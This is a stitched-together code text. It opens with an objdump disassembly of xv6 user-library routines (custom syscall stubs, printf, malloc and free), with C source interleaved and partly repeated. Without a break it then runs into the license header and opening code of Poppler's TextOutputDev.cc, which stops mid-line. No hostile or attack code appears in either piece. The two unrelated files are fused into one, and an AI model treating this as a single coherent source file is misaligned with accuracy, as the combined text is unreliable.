SYSCALL(getMagic) 622: b8 17 00 00 00 mov $0x17,%eax 627: cd 40 int $0x40 629: c3 ret 0000062a <incrementMagic>: SYSCALL(incrementMagic) 62a: b8 16 00 00 00 mov $0x16,%eax 62f: cd 40 int $0x40 631: c3 ret 00000632 <getCurrentProcessName>: SYSCALL(getCurrentProcessName) 632: b8 18 00 00 00 mov $0x18,%eax 637: cd 40 int $0x40 639: c3 ret 0000063a <modifyCurrentProcessName>: SYSCALL(modifyCurrentProcessName) 63a: b8 19 00 00 00 mov $0x19,%eax 63f: cd 40 int $0x40 641: c3 ret 00000642 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 642: 55 push %ebp 643: 89 e5 mov %esp,%ebp 645: 83 ec 18 sub $0x18,%esp 648: 8b 45 0c mov 0xc(%ebp),%eax 64b: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 64e: 83 ec 04 sub $0x4,%esp 651: 6a 01 push $0x1 653: 8d 45 f4 lea -0xc(%ebp),%eax 656: 50 push %eax 657: ff 75 08 pushl 0x8(%ebp) 65a: e8 43 ff ff ff call 5a2 <write> 65f: 83 c4 10 add $0x10,%esp } 662: 90 nop 663: c9 leave 664: c3 ret 00000665 <printint>: static void printint(int fd, int xx, int base, int sgn) { 665: 55 push %ebp 666: 89 e5 mov %esp,%ebp 668: 53 push %ebx 669: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 66c: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 673: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 677: 74 17 je 690 <printint+0x2b> 679: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 67d: 79 11 jns 690 <printint+0x2b> neg = 1; 67f: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 686: 8b 45 0c mov 0xc(%ebp),%eax 689: f7 d8 neg %eax 68b: 89 45 ec mov %eax,-0x14(%ebp) 68e: eb 06 jmp 696 <printint+0x31> } else { x = xx; 690: 8b 45 0c mov 0xc(%ebp),%eax 693: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 696: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 69d: 8b 4d f4 mov -0xc(%ebp),%ecx 6a0: 8d 41 01 lea 0x1(%ecx),%eax 6a3: 89 45 f4 mov %eax,-0xc(%ebp) 6a6: 8b 5d 10 mov 0x10(%ebp),%ebx 6a9: 8b 45 ec mov -0x14(%ebp),%eax 6ac: ba 00 00 00 00 mov $0x0,%edx 6b1: f7 f3 div %ebx 6b3: 89 d0 mov %edx,%eax 6b5: 0f b6 80 dc 0d 00 00 movzbl 0xddc(%eax),%eax 6bc: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 6c0: 8b 5d 10 mov 0x10(%ebp),%ebx 6c3: 8b 45 ec mov -0x14(%ebp),%eax 6c6: ba 00 00 00 00 mov $0x0,%edx 6cb: f7 f3 div %ebx 6cd: 89 45 ec mov %eax,-0x14(%ebp) 6d0: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 6d4: 75 c7 jne 69d <printint+0x38> if(neg) 6d6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 6da: 74 2d je 709 <printint+0xa4> buf[i++] = '-'; 6dc: 8b 45 f4 mov -0xc(%ebp),%eax 6df: 8d 50 01 lea 0x1(%eax),%edx 6e2: 89 55 f4 mov %edx,-0xc(%ebp) 6e5: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 6ea: eb 1d jmp 709 <printint+0xa4> putc(fd, buf[i]); 6ec: 8d 55 dc lea -0x24(%ebp),%edx 6ef: 8b 45 f4 mov -0xc(%ebp),%eax 6f2: 01 d0 add %edx,%eax 6f4: 0f b6 00 movzbl (%eax),%eax 6f7: 0f be c0 movsbl %al,%eax 6fa: 83 ec 08 sub $0x8,%esp 6fd: 50 push %eax 6fe: ff 75 08 pushl 0x8(%ebp) 701: e8 3c ff ff ff call 642 <putc> 706: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 709: 83 6d f4 01 subl $0x1,-0xc(%ebp) 70d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 711: 79 d9 jns 6ec <printint+0x87> putc(fd, buf[i]); } 713: 90 nop 714: 8b 5d fc mov -0x4(%ebp),%ebx 717: c9 leave 718: c3 ret 00000719 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 719: 55 push %ebp 71a: 89 e5 mov %esp,%ebp 71c: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 71f: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 726: 8d 45 0c lea 0xc(%ebp),%eax 729: 83 c0 04 add $0x4,%eax 72c: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 72f: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 736: e9 59 01 00 00 jmp 894 <printf+0x17b> c = fmt[i] & 0xff; 73b: 8b 55 0c mov 0xc(%ebp),%edx 73e: 8b 45 f0 mov -0x10(%ebp),%eax 741: 01 d0 add %edx,%eax 743: 0f b6 00 movzbl (%eax),%eax 746: 0f be c0 movsbl %al,%eax 749: 25 ff 00 00 00 and $0xff,%eax 74e: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 751: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 755: 75 2c jne 783 <printf+0x6a> if(c == '%'){ 757: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 75b: 75 0c jne 769 <printf+0x50> state = '%'; 75d: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 764: e9 27 01 00 00 jmp 890 <printf+0x177> } else { putc(fd, c); 769: 8b 45 e4 mov -0x1c(%ebp),%eax 76c: 0f be c0 movsbl %al,%eax 76f: 83 ec 08 sub $0x8,%esp 772: 50 push %eax 773: ff 75 08 pushl 0x8(%ebp) 776: e8 c7 fe ff ff call 642 <putc> 77b: 83 c4 10 add $0x10,%esp 77e: e9 0d 01 00 00 jmp 890 <printf+0x177> } } else if(state == '%'){ 783: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 787: 0f 85 03 01 00 00 jne 890 <printf+0x177> if(c == 'd'){ 78d: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 791: 75 1e jne 7b1 <printf+0x98> printint(fd, *ap, 10, 1); 793: 8b 45 e8 mov -0x18(%ebp),%eax 796: 8b 00 mov (%eax),%eax 798: 6a 01 push $0x1 79a: 6a 0a push $0xa 79c: 50 push %eax 79d: ff 75 08 pushl 0x8(%ebp) 7a0: e8 c0 fe ff ff call 665 <printint> 7a5: 83 c4 10 add $0x10,%esp ap++; 7a8: 83 45 e8 04 addl $0x4,-0x18(%ebp) 7ac: e9 d8 00 00 00 jmp 889 <printf+0x170> } else if(c == 'x' || c == 'p'){ 7b1: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 7b5: 74 06 je 7bd <printf+0xa4> 7b7: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 7bb: 75 1e jne 7db <printf+0xc2> printint(fd, *ap, 16, 0); 7bd: 8b 45 e8 mov -0x18(%ebp),%eax 7c0: 8b 00 mov (%eax),%eax 7c2: 6a 00 push $0x0 7c4: 6a 10 push $0x10 7c6: 50 push %eax 7c7: ff 75 08 pushl 0x8(%ebp) 7ca: e8 96 fe ff ff call 665 <printint> 7cf: 83 c4 10 add $0x10,%esp ap++; 7d2: 83 45 e8 04 addl $0x4,-0x18(%ebp) 7d6: e9 ae 00 00 00 jmp 889 <printf+0x170> } else if(c == 's'){ 7db: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 7df: 75 43 jne 824 <printf+0x10b> s = (char*)*ap; 7e1: 8b 45 e8 mov -0x18(%ebp),%eax 7e4: 8b 00 mov (%eax),%eax 7e6: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 7e9: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 7ed: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7f1: 75 25 jne 818 <printf+0xff> s = "(null)"; 7f3: c7 45 f4 06 0b 00 00 movl $0xb06,-0xc(%ebp) while(*s != 0){ 7fa: eb 1c jmp 818 <printf+0xff> putc(fd, *s); 7fc: 8b 45 f4 mov -0xc(%ebp),%eax 7ff: 0f b6 00 movzbl (%eax),%eax 802: 0f be c0 movsbl %al,%eax 805: 83 ec 08 sub $0x8,%esp 808: 50 push %eax 809: ff 75 08 pushl 0x8(%ebp) 80c: e8 31 fe ff ff call 642 <putc> 811: 83 c4 10 add $0x10,%esp s++; 814: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 818: 8b 45 f4 mov -0xc(%ebp),%eax 81b: 0f b6 00 movzbl (%eax),%eax 81e: 84 c0 test %al,%al 820: 75 da jne 7fc <printf+0xe3> 822: eb 65 jmp 889 <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 824: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 828: 75 1d jne 847 <printf+0x12e> putc(fd, *ap); 82a: 8b 45 e8 mov -0x18(%ebp),%eax 82d: 8b 00 mov (%eax),%eax 82f: 0f be c0 movsbl %al,%eax 832: 83 ec 08 sub $0x8,%esp 835: 50 push %eax 836: ff 75 08 pushl 0x8(%ebp) 839: e8 04 fe ff ff call 642 <putc> 83e: 83 c4 10 add $0x10,%esp ap++; 841: 83 45 e8 04 addl $0x4,-0x18(%ebp) 845: eb 42 jmp 889 <printf+0x170> } else if(c == '%'){ 847: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 84b: 75 17 jne 864 <printf+0x14b> putc(fd, c); 84d: 8b 45 e4 mov -0x1c(%ebp),%eax 850: 0f be c0 movsbl %al,%eax 853: 83 ec 08 sub $0x8,%esp 856: 50 push %eax 857: ff 75 08 pushl 0x8(%ebp) 85a: e8 e3 fd ff ff call 642 <putc> 85f: 83 c4 10 add $0x10,%esp 862: eb 25 jmp 889 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 864: 83 ec 08 sub $0x8,%esp 867: 6a 25 push $0x25 869: ff 75 08 pushl 0x8(%ebp) 86c: e8 d1 fd ff ff call 642 <putc> 871: 83 c4 10 add $0x10,%esp putc(fd, c); 874: 8b 45 e4 mov -0x1c(%ebp),%eax 877: 0f be c0 movsbl %al,%eax 87a: 83 ec 08 sub $0x8,%esp 87d: 50 push %eax 87e: ff 75 08 pushl 0x8(%ebp) 881: e8 bc fd ff ff call 642 <putc> 886: 83 c4 10 add $0x10,%esp } state = 0; 889: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 890: 83 45 f0 01 addl $0x1,-0x10(%ebp) 894: 8b 55 0c mov 0xc(%ebp),%edx 897: 8b 45 f0 mov -0x10(%ebp),%eax 89a: 01 d0 add %edx,%eax 89c: 0f b6 00 movzbl (%eax),%eax 89f: 84 c0 test %al,%al 8a1: 0f 85 94 fe ff ff jne 73b <printf+0x22> putc(fd, c); } state = 0; } } } 8a7: 90 nop 8a8: c9 leave 8a9: c3 ret 000008aa <free>: static Header base; static Header *freep; void free(void *ap) { 8aa: 55 push %ebp 8ab: 89 e5 mov %esp,%ebp 8ad: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 8b0: 8b 45 08 mov 0x8(%ebp),%eax 8b3: 83 e8 08 sub $0x8,%eax 8b6: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8b9: a1 08 0e 00 00 mov 0xe08,%eax 8be: 89 45 fc mov %eax,-0x4(%ebp) 8c1: eb 24 jmp 8e7 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 8c3: 8b 45 fc mov -0x4(%ebp),%eax 8c6: 8b 00 mov (%eax),%eax 8c8: 3b 45 fc cmp -0x4(%ebp),%eax 8cb: 77 12 ja 8df <free+0x35> 8cd: 8b 45 f8 mov -0x8(%ebp),%eax 8d0: 3b 45 fc cmp -0x4(%ebp),%eax 8d3: 77 24 ja 8f9 <free+0x4f> 8d5: 8b 45 fc mov -0x4(%ebp),%eax 8d8: 8b 00 mov (%eax),%eax 8da: 3b 45 f8 cmp -0x8(%ebp),%eax 8dd: 77 1a ja 8f9 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 8df: 8b 45 fc mov -0x4(%ebp),%eax 8e2: 8b 00 mov (%eax),%eax 8e4: 89 45 fc mov %eax,-0x4(%ebp) 8e7: 8b 45 f8 mov -0x8(%ebp),%eax 8ea: 3b 45 fc cmp -0x4(%ebp),%eax 8ed: 76 d4 jbe 8c3 <free+0x19> 8ef: 8b 45 fc mov -0x4(%ebp),%eax 8f2: 8b 00 mov (%eax),%eax 8f4: 3b 45 f8 cmp -0x8(%ebp),%eax 8f7: 76 ca jbe 8c3 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 8f9: 8b 45 f8 mov -0x8(%ebp),%eax 8fc: 8b 40 04 mov 0x4(%eax),%eax 8ff: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 906: 8b 45 f8 mov -0x8(%ebp),%eax 909: 01 c2 add %eax,%edx 90b: 8b 45 fc mov -0x4(%ebp),%eax 90e: 8b 00 mov (%eax),%eax 910: 39 c2 cmp %eax,%edx 912: 75 24 jne 938 <free+0x8e> bp->s.size += p->s.ptr->s.size; 914: 8b 45 f8 mov -0x8(%ebp),%eax 917: 8b 50 04 mov 0x4(%eax),%edx 91a: 8b 45 fc mov -0x4(%ebp),%eax 91d: 8b 00 mov (%eax),%eax 91f: 8b 40 04 mov 0x4(%eax),%eax 922: 01 c2 add %eax,%edx 924: 8b 45 f8 mov -0x8(%ebp),%eax 927: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 92a: 8b 45 fc mov -0x4(%ebp),%eax 92d: 8b 00 mov (%eax),%eax 92f: 8b 10 mov (%eax),%edx 931: 8b 45 f8 mov -0x8(%ebp),%eax 934: 89 10 mov %edx,(%eax) 936: eb 0a jmp 942 <free+0x98> } else bp->s.ptr = p->s.ptr; 938: 8b 45 fc mov -0x4(%ebp),%eax 93b: 8b 10 mov (%eax),%edx 93d: 8b 45 f8 mov -0x8(%ebp),%eax 940: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 942: 8b 45 fc mov -0x4(%ebp),%eax 945: 8b 40 04 mov 0x4(%eax),%eax 948: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 94f: 8b 45 fc mov -0x4(%ebp),%eax 952: 01 d0 add %edx,%eax 954: 3b 45 f8 cmp -0x8(%ebp),%eax 957: 75 20 jne 979 <free+0xcf> p->s.size += bp->s.size; 959: 8b 45 fc mov -0x4(%ebp),%eax 95c: 8b 50 04 mov 0x4(%eax),%edx 95f: 8b 45 f8 mov -0x8(%ebp),%eax 962: 8b 40 04 mov 0x4(%eax),%eax 965: 01 c2 add %eax,%edx 967: 8b 45 fc mov -0x4(%ebp),%eax 96a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 96d: 8b 45 f8 mov -0x8(%ebp),%eax 970: 8b 10 mov (%eax),%edx 972: 8b 45 fc mov -0x4(%ebp),%eax 975: 89 10 mov %edx,(%eax) 977: eb 08 jmp 981 <free+0xd7> } else p->s.ptr = bp; 979: 8b 45 fc mov -0x4(%ebp),%eax 97c: 8b 55 f8 mov -0x8(%ebp),%edx 97f: 89 10 mov %edx,(%eax) freep = p; 981: 8b 45 fc mov -0x4(%ebp),%eax 984: a3 08 0e 00 00 mov %eax,0xe08 } 989: 90 nop 98a: c9 leave 98b: c3 ret 0000098c <morecore>: static Header* morecore(uint nu) { 98c: 55 push %ebp 98d: 89 e5 mov %esp,%ebp 98f: 83 ec 18 sub $0x18,%esp char *p; Header *hp; if(nu < 4096) 992: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 999: 77 07 ja 9a2 <morecore+0x16> nu = 4096; 99b: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 9a2: 8b 45 08 mov 0x8(%ebp),%eax 9a5: c1 e0 03 shl $0x3,%eax 9a8: 83 ec 0c sub $0xc,%esp 9ab: 50 push %eax 9ac: e8 59 fc ff ff call 60a <sbrk> 9b1: 83 c4 10 add $0x10,%esp 9b4: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 9b7: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 9bb: 75 07 jne 9c4 <morecore+0x38> return 0; 9bd: b8 00 00 00 00 mov $0x0,%eax 9c2: eb 26 jmp 9ea <morecore+0x5e> hp = (Header*)p; 9c4: 8b 45 f4 mov -0xc(%ebp),%eax 9c7: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 9ca: 8b 45 f0 mov -0x10(%ebp),%eax 9cd: 8b 55 08 mov 0x8(%ebp),%edx 9d0: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 9d3: 8b 45 f0 mov -0x10(%ebp),%eax 9d6: 83 c0 08 add $0x8,%eax 9d9: 83 ec 0c sub $0xc,%esp 9dc: 50 push %eax 9dd: e8 c8 fe ff ff call 8aa <free> 9e2: 83 c4 10 add $0x10,%esp return freep; 9e5: a1 08 0e 00 00 mov 0xe08,%eax } 9ea: c9 leave 9eb: c3 ret 000009ec <malloc>: void* malloc(uint nbytes) { 9ec: 55 push %ebp 9ed: 89 e5 mov %esp,%ebp 9ef: 83 ec 18 sub $0x18,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 9f2: 8b 45 08 mov 0x8(%ebp),%eax 9f5: 83 c0 07 add $0x7,%eax 9f8: c1 e8 03 shr $0x3,%eax 9fb: 83 c0 01 add $0x1,%eax 9fe: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ a01: a1 08 0e 00 00 mov 0xe08,%eax a06: 89 45 f0 mov %eax,-0x10(%ebp) a09: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) a0d: 75 23 jne a32 <malloc+0x46> base.s.ptr = freep = prevp = &base; a0f: c7 45 f0 00 0e 00 00 movl $0xe00,-0x10(%ebp) a16: 8b 45 f0 mov -0x10(%ebp),%eax a19: a3 08 0e 00 00 mov %eax,0xe08 a1e: a1 08 0e 00 00 mov 0xe08,%eax a23: a3 00 0e 00 00 mov %eax,0xe00 base.s.size = 0; a28: c7 05 04 0e 00 00 00 movl $0x0,0xe04 a2f: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ a32: 8b 45 f0 mov -0x10(%ebp),%eax a35: 8b 00 mov (%eax),%eax a37: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ a3a: 8b 45 f4 mov -0xc(%ebp),%eax a3d: 8b 40 04 mov 0x4(%eax),%eax a40: 3b 45 ec cmp -0x14(%ebp),%eax a43: 72 4d jb a92 <malloc+0xa6> if(p->s.size == nunits) a45: 8b 45 f4 mov -0xc(%ebp),%eax a48: 8b 40 04 mov 0x4(%eax),%eax a4b: 3b 45 ec cmp -0x14(%ebp),%eax a4e: 75 0c jne a5c <malloc+0x70> prevp->s.ptr = p->s.ptr; a50: 8b 45 f4 mov -0xc(%ebp),%eax a53: 8b 10 mov (%eax),%edx a55: 8b 45 f0 mov -0x10(%ebp),%eax a58: 89 10 mov %edx,(%eax) a5a: eb 26 jmp a82 <malloc+0x96> else { p->s.size -= nunits; a5c: 8b 45 f4 mov -0xc(%ebp),%eax a5f: 8b 40 04 mov 0x4(%eax),%eax a62: 2b 45 ec sub -0x14(%ebp),%eax a65: 89 c2 mov %eax,%edx a67: 8b 45 f4 mov -0xc(%ebp),%eax a6a: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; a6d: 8b 45 f4 mov -0xc(%ebp),%eax a70: 8b 40 04 mov 0x4(%eax),%eax a73: c1 e0 03 shl $0x3,%eax a76: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; a79: 8b 45 f4 mov -0xc(%ebp),%eax a7c: 8b 55 ec mov -0x14(%ebp),%edx a7f: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; a82: 8b 45 f0 mov -0x10(%ebp),%eax a85: a3 08 0e 00 00 mov %eax,0xe08 return (void*)(p + 1); a8a: 8b 45 f4 mov -0xc(%ebp),%eax a8d: 83 c0 08 add $0x8,%eax a90: eb 3b jmp acd <malloc+0xe1> } if(p == freep) a92: a1 08 0e 00 00 mov 0xe08,%eax a97: 39 45 f4 cmp %eax,-0xc(%ebp) a9a: 75 1e jne aba <malloc+0xce> if((p = morecore(nunits)) == 0) a9c: 83 ec 0c sub $0xc,%esp a9f: ff 75 ec pushl -0x14(%ebp) aa2: e8 e5 fe ff ff call 98c <morecore> aa7: 83 c4 10 add $0x10,%esp aaa: 89 45 f4 mov %eax,-0xc(%ebp) aad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) ab1: 75 07 jne aba <malloc+0xce> return 0; ab3: b8 00 00 00 00 mov $0x0,%eax ab8: eb 13 jmp acd <malloc+0xe1> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ aba: 8b 45 f4 mov -0xc(%ebp),%eax abd: 89 45 f0 mov %eax,-0x10(%ebp) ac0: 8b 45 f4 mov -0xc(%ebp),%eax ac3: 8b 00 mov (%eax),%eax ac5: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } ac8: e9 6d ff ff ff jmp a3a <malloc+0x4e> } acd: c9 leave ace: c3 ret
//======================================================================== // // TextOutputDev.cc // // Copyright 1997-2003 Glyph & Cog, LLC // //======================================================================== //======================================================================== // // Modified under the Poppler project - http://poppler.freedesktop.org // // All changes made under the Poppler project to this file are licensed // under GPL version 2 or later // // Copyright (C) 2005-2007 Kristian Høgsberg <krh@redhat.com> // Copyright (C) 2005 Nickolay V. Shmyrev <nshmyrev@yandex.ru> // Copyright (C) 2006-2008, 2011-2013 Carlos Garcia Campos <carlosgc@gnome.org> // Copyright (C) 2006, 2007, 2013 Ed Catmur <ed@catmur.co.uk> // Copyright (C) 2006 Jeff Muizelaar <jeff@infidigm.net> // Copyright (C) 2007, 2008, 2012 Adrian Johnson <ajohnson@redneon.com> // Copyright (C) 2008 Koji Otani <sho@bbr.jp> // Copyright (C) 2008, 2010-2012, 2014, 2015 Albert Astals Cid <aacid@kde.org> // Copyright (C) 2008 Pino Toscano <pino@kde.org> // Copyright (C) 2008, 2010 Hib Eris <hib@hiberis.nl> // Copyright (C) 2009 Ross Moore <ross@maths.mq.edu.au> // Copyright (C) 2009 Kovid Goyal <kovid@kovidgoyal.net> // Copyright (C) 2010 Brian Ewins <brian.ewins@gmail.com> // Copyright (C) 2010 Marek Kasik <mkasik@redhat.com> // Copyright (C) 2010 Suzuki Toshiya <mpsuzuki@hiroshima-u.ac.jp> // Copyright (C) 2011 Sam Liao <phyomh@gmail.com> // Copyright (C) 2012 Horst Prote <prote@fmi.uni-stuttgart.de> // Copyright (C) 2012, 2013-2015 Jason Crain <jason@aquaticape.us> // Copyright (C) 2012 Peter Breitenlohner <peb@mppmu.mpg.de> // Copyright (C) 2013 José Aliste <jaliste@src.gnome.org> // Copyright (C) 2013 Thomas Freitag <Thomas.Freitag@alfa.de> // Copyright (C) 2013 Ed Catmur <ed@catmur.co.uk> // Copyright (C) 2016 Khaled Hosny <khaledhosny@eglug.org> // // To see a description of the changes please see the Changelog file that // came with your tarball or type make ChangeLog if you are building from git // //======================================================================== #include <config.h> #ifdef USE_GCC_PRAGMAS #pragma implementation #endif #include <stdio.h> #include <stdlib.h> #include <stddef.h> #include <math.h> #include <float.h> #include <ctype.h> #ifdef _WIN32 #include <fcntl.h> // for O_BINARY #include <io.h> // for setmode #endif #include "goo/gmem.h" #include "goo/GooString.h" #include "goo/GooList.h" #include "poppler-config.h" #include "Error.h" #include "GlobalParams.h" #include "UnicodeMap.h" #include "UnicodeTypeTable.h" #include "Link.h" #include "TextOutputDev.h" #include "Page.h" #include "Annot.h" #include "UTF.h" #ifdef MACOS // needed for setting type/creator of MacOS files #include "ICSupport.h" #endif //------------------------------------------------------------------------ // parameters //------------------------------------------------------------------------ // Each bucket in a text pool includes baselines within a range of // this many points. #define textPoolStep 4 // Inter-character space width which will cause addChar to start a new // word. #define minWordBreakSpace 0.1 // Negative inter-character space width, i.e., overlap, which will // cause addChar to start a new word. #define minDupBreakOverlap 0.2 // Max distance between baselines of two lines within a block, as a // fraction of the font size. #define maxLineSpacingDelta 1.5 // Max difference in primary font sizes on two lines in the same // block. Delta1 is used when examining new lines above and below the // current block; delta2 is used when examining text that overlaps the // current block; delta3 is used when examining text to the left and // right of the current block. #define maxBlockFontSizeDelta1 0.05 #define maxBlockFontSizeDelta2 0.6 #define maxBlockFontSizeDelta3 0.2 // Max difference in font sizes inside a word. #define maxWordFontSizeDelta 0.05 // Maximum distance between baselines of two words on the same line, // e.g., distance between subscript or superscript and the primary // baseline, as a fraction of the font size. #define maxIntraLineDelta 0.5 // Minimum inter-word spacing, as a fraction of the font size. (Only // used for raw ordering.) #define minWordSpacing 0.15 // Maximum inter-word spacing, as a fraction of the font size. #define maxWordSpacing 1.5 // Maximum horizontal spacing which will allow a word to be pulled // into a block. #define minColSpacing1 0.3 // Minimum spacing between columns, as a fraction of the font size. #define minColSpacing2 1.0 // Maximum vertical spacing between blocks within a flow, as a // multiple of the font size. #define maxBlockSpacing 2.5 // Minimum spacing between characters within a word, as a fraction of // the font size. #define minCharSpacing -0.5 // Maximum spacing between characters within a word, as a fraction of // the font size, when there is no obvious extra-wide character // spacing. #define maxCharSpacing 0.03 // When extra-wide character spacing is detected, the inter-character // space threshold is set to the minimum inter-character space // multiplied by this constant. #define maxWideCharSpacingMul 1.3 // Upper limit on spacing between characters in a word. #define maxWideCharSpacing 0.4 // Max difference in primary,secondary coordinates (as a fraction of // the font size) allowed for duplicated text (fake boldface, drop // shadows) which is to be discarded. #define dupMaxPriDelta 0.1 #define dupMaxSecDelta 0.2 // Max width of underlines (in points). #define maxUnderlineWidth 3 // Min distance between baseline and underline (in points). //~ this should be font-size-dependent #define minUnderlineGap -2 // Max distance between baseline and underline (in points). //~ this should be font-size-dependent #define maxUnderlineGap 4 // Max horizontal distance between edge of word and start of underline // (in points). //~ this should be font-size-dependent #define underlineSlack 1 // Max distance between edge of text and edge of link border #define hyperlinkSlack 2 // Max distance between characters when combining a base character and // combining character #define combMaxMidDelta 0.3 #define combMaxBaseDelta 0.4 static int reorderText(Unicode *text, int len, UnicodeMap *uMap, GBool primaryLR, GooString *s, Unicode* u) { char lre[8], rle[8], popdf[8], buf[8]; int lreLen = 0, rleLen = 0, popdfLen = 0, n; int nCols, i, j, k; nCols = 0; if (s) { lreLen = uMap->mapUnicode(0x202a, lre, sizeof(lre)); rleLen = uMap->mapUnicode(0x202b, rle, sizeof(rle)); popdfLen = uMap->mapUnicode(0x202c, popdf, sizeof(popdf)); } if (primaryLR) { i = 0; while (i < len) { // output a left-to-right section for (j = i; j < len && !unicodeTypeR(text[j]); ++j) ; for (k = i; k < j; ++k) { if (s) { n = uMap->mapUnicode(text[k], buf, sizeof(buf)); s->append(buf, n); } if (u) u[nCols] = text[k]; ++nCols; } i = j; // output a right-to-left section for (j = i; j < len && !(unicodeTypeL(text[j]) || unicodeTypeNum(text[j])); ++j) ; if (j > i) { if (s) s->append(rle, rleLen); for (k = j - 1; k >= i; --k) { if (s) { n = uMap->mapUnicode(text[k], buf, sizeof(buf)); s->append(buf, n); } if (u) u[nCols] = text[k]; ++nCols; } if (s) s->append(popdf, popdfLen); i = j; } } } else { // Note: This code treats numeric characters (European and // Arabic/Indic) as left-to-right, which isn't strictly correct // (incurs extra LRE/POPDF pairs), but does produce correct // visual formatting. if (s) s->append(rle, rleLen); i = len - 1; while (i >= 0) { // output a right-to-left section for (j = i; j >= 0 && !(unicodeTypeL(text[j]) || unicodeTypeNum(text[j])); --j) ; for (k = i; k > j; --k) { if (s) { n = uMap->mapUnicode(text[k], buf, sizeof(buf)); s->append(buf, n); } if (u) u[nCols] = text[k]; ++nCols; } i = j; // output a left-to-right section for (j = i; j >= 0 && !unicodeTypeR(text[j]); --j) ; if (j < i) { if (s) s->append(lre, lreLen); for (k = j + 1; k <= i; ++k) { if (s) { n = uMap->mapUnicode(text[k], buf, sizeof(buf)); s->append(buf, n); } if (u) u[nCols] = text[k]; ++nCols; } if (s) s->append(popdf, popdfLen); i = j; } } if (s) s->append(popdf, popdfLen); } return nCols; } //------------------------------------------------------------------------ // TextUnderline //------------------------------------------------------------------------ class TextUnderline { public: TextUnderline(double x0A, double y0A, double x1A, double y1A) { x0 = x0A; y0 = y0A; x1 = x1A; y1 = 